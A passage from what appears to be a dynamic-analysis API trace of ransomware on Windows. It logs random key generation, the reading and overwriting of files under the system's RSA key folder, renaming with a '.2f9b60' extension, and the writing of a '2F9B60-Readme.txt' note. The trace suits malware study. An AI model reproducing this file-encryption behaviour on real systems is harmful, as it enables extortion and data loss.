_Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148" [0123.094] wcscat (in: _Dest=0x1b772eb0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60" [0123.094] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60", NtPathName=0x2138faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x167040 [0123.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167040) returned 1 [0123.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdf50) returned 1 [0123.112] NtQueryInformationFile (in: FileHandle=0xfa8, IoStatusBlock=0x2138fb58, FileInformation=0x2138fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2138fb58, FileInformation=0x2138fb68) returned 0x0 [0123.112] NtSetInformationFile (FileHandle=0xfa8, IoStatusBlock=0x2138fb58, FileInformation=0x2138fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b772eb0) returned 1 [0123.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xdef20) returned 1 [0123.121] FlushFileBuffers (hFile=0xfa8) returned 1 [0123.129] CloseHandle (hObject=0xfa8) returned 1 [0123.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b86aa10 [0123.135] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0123.135] wcscat (in: _Dest=0x1b86aa10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\2F9B60-Readme.txt" [0123.135] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\2f9b60-readme.txt")) returned 0xffffffff [0123.136] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1758 [0123.140] WriteFile (in: hFile=0x1758, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2138fa10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2138fa10*=0xba9, lpOverlapped=0x0) returned 1 [0123.147] CloseHandle (hObject=0x1758) returned 1 [0123.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aa10) returned 1 [0123.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799250) returned 1 Thread: id = 1545 os_tid = 0x1a78 [0121.021] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f")) returned 0x2024 [0121.022] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", dwFileAttributes=0x20) returned 1 [0122.785] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfa4 [0122.786] GetFileSizeEx (in: hFile=0xfa4, lpFileSize=0x2143f8c0 | out: lpFileSize=0x2143f8c0*=1053) returned 1 [0122.786] SetFilePointerEx (in: hFile=0xfa4, liDistanceToMove=0x419, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.786] ReadFile (in: hFile=0xfa4, lpBuffer=0x2143f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2143f888, lpOverlapped=0x0 | out: lpBuffer=0x2143f840*, lpNumberOfBytesRead=0x2143f888*=0x4, lpOverlapped=0x0) returned 1 [0123.166] SetFilePointerEx (in: hFile=0xfa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ae0 [0123.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff70 [0123.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0123.166] NtQuerySystemTime (in: CurrentTime=0x2143f780 | out: CurrentTime=0x2143f780*=132462177285514000) returned 0x0 [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x10e7e6bf [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x1e9c49ec [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x12da17bf [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x636c5271 [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x42e696c8 [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x52a63b26 [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x5481af5e [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x2f38ab2 [0123.166] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x54d7e80f [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x6dacaa26 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x32d46e7f [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x7a7b72d6 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x2bd6d9c5 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x7f9afcd6 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x65492c1c [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x2961133a [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x7e4ca68b [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x6e0fa246 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0xccb71d2 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x26233c4 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x31fe3e93 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x1658957f [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x2ac17fb8 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x6716ab8 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x6d103ace [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0xcc37484 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x172ca5aa [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x4a2b18fe [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x3f1ae127 [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x3ab3262a [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x7beba1be [0123.167] RtlRandomEx (in: Seed=0x2143f770 | out: Seed=0x2143f770) returned 0x38fbbdd8 [0123.363] ReadFile (in: hFile=0xfa4, lpBuffer=0x204aff70, nNumberOfBytesToRead=0x41d, lpNumberOfBytesRead=0x2143f770, lpOverlapped=0x0 | out: lpBuffer=0x204aff70*, lpNumberOfBytesRead=0x2143f770*=0x41d, lpOverlapped=0x0) returned 1 [0123.363] SetFilePointerEx (in: hFile=0xfa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.363] WriteFile (in: hFile=0xfa4, lpBuffer=0x204b7790*, nNumberOfBytesToWrite=0x41d, lpNumberOfBytesWritten=0x2143f774, lpOverlapped=0x0 | out: lpBuffer=0x204b7790*, lpNumberOfBytesWritten=0x2143f774*=0x41d, lpOverlapped=0x0) returned 1 [0123.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b500 [0123.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4e0 [0123.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4e0) returned 1 [0123.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b7790) returned 1 [0123.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204aff70) returned 1 [0123.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0123.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059380) returned 1 [0123.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b1870 [0123.504] SetFilePointerEx (in: hFile=0xfa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.504] WriteFile (in: hFile=0xfa4, lpBuffer=0x1b7b1c30*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2143f890, lpOverlapped=0x0 | out: lpBuffer=0x1b7b1c30*, lpNumberOfBytesWritten=0x2143f890*=0x17c, lpOverlapped=0x0) returned 1 [0124.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0124.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85de90 [0124.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0124.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0124.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b0470 [0124.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0124.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aadd0 [0124.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aadd0) returned 1 [0124.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85de90) returned 1 [0124.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0124.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x115) returned 0x166f20 [0124.174] sprintf (in: _Dest=0x166f20, _Format="%c%c" | out: _Dest="3a") returned 2 [0124.174] sprintf (in: _Dest=0x166f22, _Format="%c%c" | out: _Dest="0c") returned 2 [0124.175] sprintf (in: _Dest=0x166f24, _Format="%c%c" | out: _Dest="a3") returned 2 [0124.175] sprintf (in: _Dest=0x166f26, _Format="%c%c" | out: _Dest="44") returned 2 [0124.175] sprintf (in: _Dest=0x166f28, _Format="%c%c" | out: _Dest="2e") returned 2 [0124.175] sprintf (in: _Dest=0x166f2a, _Format="%c%c" | out: _Dest="c0") returned 2 [0124.175] sprintf (in: _Dest=0x166f2c, _Format="%c%c" | out: _Dest="28") returned 2 [0124.175] sprintf (in: _Dest=0x166f2e, _Format="%c%c" | out: _Dest="9a") returned 2 [0124.175] sprintf (in: _Dest=0x166f30, _Format="%c%c" | out: _Dest="84") returned 2 [0124.175] sprintf (in: _Dest=0x166f32, _Format="%c%c" | out: _Dest="6d") returned 2 [0124.175] sprintf (in: _Dest=0x166f34, _Format="%c%c" | out: _Dest="ef") returned 2 [0124.175] sprintf (in: _Dest=0x166f36, _Format="%c%c" | out: _Dest="40") returned 2 [0124.175] sprintf (in: _Dest=0x166f38, _Format="%c%c" | out: _Dest="73") returned 2 [0124.175] sprintf (in: _Dest=0x166f3a, _Format="%c%c" | out: _Dest="e2") returned 2 [0124.175] sprintf (in: _Dest=0x166f3c, _Format="%c%c" | out: _Dest="cc") returned 2 [0124.175] sprintf (in: _Dest=0x166f3e, _Format="%c%c" | out: _Dest="72") returned 2 [0124.175] sprintf (in: _Dest=0x166f40, _Format="%c%c" | out: _Dest="a1") returned 2 [0124.175] sprintf (in: _Dest=0x166f42, _Format="%c%c" | out: _Dest="a8") returned 2 [0124.175] sprintf (in: _Dest=0x166f44, _Format="%c%c" | out: _Dest="1b") returned 2 [0124.175] sprintf (in: _Dest=0x166f46, _Format="%c%c" | out: _Dest="ca") returned 2 [0124.175] sprintf (in: _Dest=0x166f48, _Format="%c%c" | out: _Dest="ae") returned 2 [0124.175] sprintf (in: _Dest=0x166f4a, _Format="%c%c" | out: _Dest="cd") returned 2 [0124.175] sprintf (in: _Dest=0x166f4c, _Format="%c%c" | out: _Dest="3e") returned 2 [0124.175] sprintf (in: _Dest=0x166f4e, _Format="%c%c" | out: _Dest="3b") returned 2 [0124.175] sprintf (in: _Dest=0x166f50, _Format="%c%c" | out: _Dest="28") returned 2 [0124.175] sprintf (in: _Dest=0x166f52, _Format="%c%c" | out: _Dest="19") returned 2 [0124.175] sprintf (in: _Dest=0x166f54, _Format="%c%c" | out: _Dest="08") returned 2 [0124.175] sprintf (in: _Dest=0x166f56, _Format="%c%c" | out: _Dest="de") returned 2 [0124.175] sprintf (in: _Dest=0x166f58, _Format="%c%c" | out: _Dest="ce") returned 2 [0124.176] sprintf (in: _Dest=0x166f5a, _Format="%c%c" | out: _Dest="68") returned 2 [0124.176] sprintf (in: _Dest=0x166f5c, _Format="%c%c" | out: _Dest="84") returned 2 [0124.176] sprintf (in: _Dest=0x166f5e, _Format="%c%c" | out: _Dest="88") returned 2 [0124.176] sprintf (in: _Dest=0x166f60, _Format="%c%c" | out: _Dest="c1") returned 2 [0124.176] sprintf (in: _Dest=0x166f62, _Format="%c%c" | out: _Dest="e3") returned 2 [0124.176] sprintf (in: _Dest=0x166f64, _Format="%c%c" | out: _Dest="47") returned 2 [0124.176] sprintf (in: _Dest=0x166f66, _Format="%c%c" | out: _Dest="a0") returned 2 [0124.176] sprintf (in: _Dest=0x166f68, _Format="%c%c" | out: _Dest="0d") returned 2 [0124.176] sprintf (in: _Dest=0x166f6a, _Format="%c%c" | out: _Dest="14") returned 2 [0124.176] sprintf (in: _Dest=0x166f6c, _Format="%c%c" | out: _Dest="23") returned 2 [0124.176] sprintf (in: _Dest=0x166f6e, _Format="%c%c" | out: _Dest="a4") returned 2 [0124.176] sprintf (in: _Dest=0x166f70, _Format="%c%c" | out: _Dest="d4") returned 2 [0124.176] sprintf (in: _Dest=0x166f72, _Format="%c%c" | out: _Dest="80") returned 2 [0124.176] sprintf (in: _Dest=0x166f74, _Format="%c%c" | out: _Dest="63") returned 2 [0124.176] sprintf (in: _Dest=0x166f76, _Format="%c%c" | out: _Dest="8d") returned 2 [0124.176] sprintf (in: _Dest=0x166f78, _Format="%c%c" | out: _Dest="ed") returned 2 [0124.176] sprintf (in: _Dest=0x166f7a, _Format="%c%c" | out: _Dest="84") returned 2 [0124.176] sprintf (in: _Dest=0x166f7c, _Format="%c%c" | out: _Dest="f0") returned 2 [0124.176] sprintf (in: _Dest=0x166f7e, _Format="%c%c" | out: _Dest="36") returned 2 [0124.176] sprintf (in: _Dest=0x166f80, _Format="%c%c" | out: _Dest="7d") returned 2 [0124.176] sprintf (in: _Dest=0x166f82, _Format="%c%c" | out: _Dest="1d") returned 2 [0124.176] sprintf (in: _Dest=0x166f84, _Format="%c%c" | out: _Dest="8b") returned 2 [0124.176] sprintf (in: _Dest=0x166f86, _Format="%c%c" | out: _Dest="bc") returned 2 [0124.176] sprintf (in: _Dest=0x166f88, _Format="%c%c" | out: _Dest="08") returned 2 [0124.176] sprintf (in: _Dest=0x166f8a, _Format="%c%c" | out: _Dest="2e") returned 2 [0124.177] sprintf (in: _Dest=0x166f8c, _Format="%c%c" | out: _Dest="43") returned 2 [0124.177] sprintf (in: _Dest=0x166f8e, _Format="%c%c" | out: _Dest="42") returned 2 [0124.177] sprintf (in: _Dest=0x166f90, _Format="%c%c" | out: _Dest="a8") returned 2 [0124.177] sprintf (in: _Dest=0x166f92, _Format="%c%c" | out: _Dest="d9") returned 2 [0124.177] sprintf (in: _Dest=0x166f94, _Format="%c%c" | out: _Dest="c0") returned 2 [0124.177] sprintf (in: _Dest=0x166f96, _Format="%c%c" | out: _Dest="17") returned 2 [0124.177] sprintf (in: _Dest=0x166f98, _Format="%c%c" | out: _Dest="ea") returned 2 [0124.177] sprintf (in: _Dest=0x166f9a, _Format="%c%c" | out: _Dest="47") returned 2 [0124.177] sprintf (in: _Dest=0x166f9c, _Format="%c%c" | out: _Dest="d6") returned 2 [0124.177] sprintf (in: _Dest=0x166f9e, _Format="%c%c" | out: _Dest="5c") returned 2 [0124.177] sprintf (in: _Dest=0x166fa0, _Format="%c%c" | out: _Dest="47") returned 2 [0124.177] sprintf (in: _Dest=0x166fa2, _Format="%c%c" | out: _Dest="fc") returned 2 [0124.177] sprintf (in: _Dest=0x166fa4, _Format="%c%c" | out: _Dest="4b") returned 2 [0124.177] sprintf (in: _Dest=0x166fa6, _Format="%c%c" | out: _Dest="f9") returned 2 [0124.177] sprintf (in: _Dest=0x166fa8, _Format="%c%c" | out: _Dest="e7") returned 2 [0124.177] sprintf (in: _Dest=0x166faa, _Format="%c%c" | out: _Dest="d0") returned 2 [0124.177] sprintf (in: _Dest=0x166fac, _Format="%c%c" | out: _Dest="1c") returned 2 [0124.177] sprintf (in: _Dest=0x166fae, _Format="%c%c" | out: _Dest="1f") returned 2 [0124.177] sprintf (in: _Dest=0x166fb0, _Format="%c%c" | out: _Dest="6f") returned 2 [0124.177] sprintf (in: _Dest=0x166fb2, _Format="%c%c" | out: _Dest="7d") returned 2 [0124.177] sprintf (in: _Dest=0x166fb4, _Format="%c%c" | out: _Dest="44") returned 2 [0124.177] sprintf (in: _Dest=0x166fb6, _Format="%c%c" | out: _Dest="fe") returned 2 [0124.177] sprintf (in: _Dest=0x166fb8, _Format="%c%c" | out: _Dest="b6") returned 2 [0124.177] sprintf (in: _Dest=0x166fba, _Format="%c%c" | out: _Dest="72") returned 2 [0124.177] sprintf (in: _Dest=0x166fbc, _Format="%c%c" | out: _Dest="8a") returned 2 [0124.177] sprintf (in: _Dest=0x166fbe, _Format="%c%c" | out: _Dest="09") returned 2 [0124.178] sprintf (in: _Dest=0x166fc0, _Format="%c%c" | out: _Dest="48") returned 2 [0124.178] sprintf (in: _Dest=0x166fc2, _Format="%c%c" | out: _Dest="01") returned 2 [0124.178] sprintf (in: _Dest=0x166fc4, _Format="%c%c" | out: _Dest="c9") returned 2 [0124.178] sprintf (in: _Dest=0x166fc6, _Format="%c%c" | out: _Dest="95") returned 2 [0124.178] sprintf (in: _Dest=0x166fc8, _Format="%c%c" | out: _Dest="6b") returned 2 [0124.178] sprintf (in: _Dest=0x166fca, _Format="%c%c" | out: _Dest="11") returned 2 [0124.178] sprintf (in: _Dest=0x166fcc, _Format="%c%c" | out: _Dest="1f") returned 2 [0124.178] sprintf (in: _Dest=0x166fce, _Format="%c%c" | out: _Dest="4a") returned 2 [0124.178] sprintf (in: _Dest=0x166fd0, _Format="%c%c" | out: _Dest="79") returned 2 [0124.178] sprintf (in: _Dest=0x166fd2, _Format="%c%c" | out: _Dest="5e") returned 2 [0124.178] sprintf (in: _Dest=0x166fd4, _Format="%c%c" | out: _Dest="04") returned 2 [0124.178] sprintf (in: _Dest=0x166fd6, _Format="%c%c" | out: _Dest="dd") returned 2 [0124.178] sprintf (in: _Dest=0x166fd8, _Format="%c%c" | out: _Dest="65") returned 2 [0124.178] sprintf (in: _Dest=0x166fda, _Format="%c%c" | out: _Dest="ca") returned 2 [0124.178] sprintf (in: _Dest=0x166fdc, _Format="%c%c" | out: _Dest="3f") returned 2 [0124.178] sprintf (in: _Dest=0x166fde, _Format="%c%c" | out: _Dest="52") returned 2 [0124.178] sprintf (in: _Dest=0x166fe0, _Format="%c%c" | out: _Dest="cb") returned 2 [0124.178] sprintf (in: _Dest=0x166fe2, _Format="%c%c" | out: _Dest="51") returned 2 [0124.178] sprintf (in: _Dest=0x166fe4, _Format="%c%c" | out: _Dest="c0") returned 2 [0124.178] sprintf (in: _Dest=0x166fe6, _Format="%c%c" | out: _Dest="b9") returned 2 [0124.178] sprintf (in: _Dest=0x166fe8, _Format="%c%c" | out: _Dest="b8") returned 2 [0124.178] sprintf (in: _Dest=0x166fea, _Format="%c%c" | out: _Dest="09") returned 2 [0124.178] sprintf (in: _Dest=0x166fec, _Format="%c%c" | out: _Dest="59") returned 2 [0124.178] sprintf (in: _Dest=0x166fee, _Format="%c%c" | out: _Dest="73") returned 2 [0124.178] sprintf (in: _Dest=0x166ff0, _Format="%c%c" | out: _Dest="08") returned 2 [0124.178] sprintf (in: _Dest=0x166ff2, _Format="%c%c" | out: _Dest="4f") returned 2 [0124.179] sprintf (in: _Dest=0x166ff4, _Format="%c%c" | out: _Dest="cf") returned 2 [0124.179] sprintf (in: _Dest=0x166ff6, _Format="%c%c" | out: _Dest="90") returned 2 [0124.179] sprintf (in: _Dest=0x166ff8, _Format="%c%c" | out: _Dest="97") returned 2 [0124.179] sprintf (in: _Dest=0x166ffa, _Format="%c%c" | out: _Dest="b9") returned 2 [0124.179] sprintf (in: _Dest=0x166ffc, _Format="%c%c" | out: _Dest="44") returned 2 [0124.179] sprintf (in: _Dest=0x166ffe, _Format="%c%c" | out: _Dest="ab") returned 2 [0124.179] sprintf (in: _Dest=0x167000, _Format="%c%c" | out: _Dest="4e") returned 2 [0124.179] sprintf (in: _Dest=0x167002, _Format="%c%c" | out: _Dest="d4") returned 2 [0124.179] sprintf (in: _Dest=0x167004, _Format="%c%c" | out: _Dest="2b") returned 2 [0124.179] sprintf (in: _Dest=0x167006, _Format="%c%c" | out: _Dest="69") returned 2 [0124.179] sprintf (in: _Dest=0x167008, _Format="%c%c" | out: _Dest="08") returned 2 [0124.179] sprintf (in: _Dest=0x16700a, _Format="%c%c" | out: _Dest="1f") returned 2 [0124.179] sprintf (in: _Dest=0x16700c, _Format="%c%c" | out: _Dest="97") returned 2 [0124.179] sprintf (in: _Dest=0x16700e, _Format="%c%c" | out: _Dest="08") returned 2 [0124.179] sprintf (in: _Dest=0x167010, _Format="%c%c" | out: _Dest="9c") returned 2 [0124.179] sprintf (in: _Dest=0x167012, _Format="%c%c" | out: _Dest="5c") returned 2 [0124.179] sprintf (in: _Dest=0x167014, _Format="%c%c" | out: _Dest="ce") returned 2 [0124.179] sprintf (in: _Dest=0x167016, _Format="%c%c" | out: _Dest="32") returned 2 [0124.179] sprintf (in: _Dest=0x167018, _Format="%c%c" | out: _Dest="fe") returned 2 [0124.179] sprintf (in: _Dest=0x16701a, _Format="%c%c" | out: _Dest="d0") returned 2 [0124.179] sprintf (in: _Dest=0x16701c, _Format="%c%c" | out: _Dest="14") returned 2 [0124.179] sprintf (in: _Dest=0x16701e, _Format="%c%c" | out: _Dest="e5") returned 2 [0124.179] sprintf (in: _Dest=0x167020, _Format="%c%c" | out: _Dest="53") returned 2 [0124.179] sprintf (in: _Dest=0x167022, _Format="%c%c" | out: _Dest="ff") returned 2 [0124.179] sprintf (in: _Dest=0x167024, _Format="%c%c" | out: _Dest="24") returned 2 [0124.179] sprintf (in: _Dest=0x167026, _Format="%c%c" | out: _Dest="e9") returned 2 [0124.179] sprintf (in: _Dest=0x167028, _Format="%c%c" | out: _Dest="07") returned 2 [0124.180] sprintf (in: _Dest=0x16702a, _Format="%c%c" | out: _Dest="67") returned 2 [0124.180] sprintf (in: _Dest=0x16702c, _Format="%c%c" | out: _Dest="81") returned 2 [0124.180] sprintf (in: _Dest=0x16702e, _Format="%c%c" | out: _Dest="4e") returned 2 [0124.180] sprintf (in: _Dest=0x167030, _Format="%c%c" | out: _Dest="41") returned 2 [0124.180] sprintf (in: _Dest=0x167032, _Format="%c%c" | out: _Dest="14") returned 2 [0124.180] RtlInitAnsiString (in: DestinationString=0x2143f908, SourceString="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e347a00d1423a4d480638ded84f0367d1d8bbc082e4342a8d9c017ea47d65c47fc4bf9e7d01c1f6f7d44feb6728a094801c9956b111f4a795e04dd65ca3f52cb51c0b9b8095973084fcf9097b944ab4ed42b69081f97089c5cce32fed014e553ff24e90767814e4114" | out: DestinationString="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e347a00d1423a4d480638ded84f0367d1d8bbc082e4342a8d9c017ea47d65c47fc4bf9e7d01c1f6f7d44feb6728a094801c9956b111f4a795e04dd65ca3f52cb51c0b9b8095973084fcf9097b944ab4ed42b69081f97089c5cce32fed014e553ff24e90767814e4114") [0124.180] RtlAnsiStringToUnicodeString (in: DestinationString=0x2143f8d8, SourceString="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e347a00d1423a4d480638ded84f0367d1d8bbc082e4342a8d9c017ea47d65c47fc4bf9e7d01c1f6f7d44feb6728a094801c9956b111f4a795e04dd65ca3f52cb51c0b9b8095973084fcf9097b944ab4ed42b69081f97089c5cce32fed014e553ff24e90767814e4114", AllocateDestinationString=1 | out: DestinationString="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e347a00d1423a4d480638ded84f0367d1d8bbc082e4342a8d9c017ea47d65c47fc4bf9e7d01c1f6f7d44feb6728a094801c9956b111f4a795e04dd65ca3f52cb51c0b9b8095973084fcf9097b944ab4ed42b69081f97089c5cce32fed014e553ff24e90767814e4114") returned 0x0 [0124.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22a) returned 0xdea80 [0124.180] wcscat (in: _Dest=0x1b772eb0, _Source="3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34" [0124.180] wcscat (in: _Dest=0x1b772eb0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60") 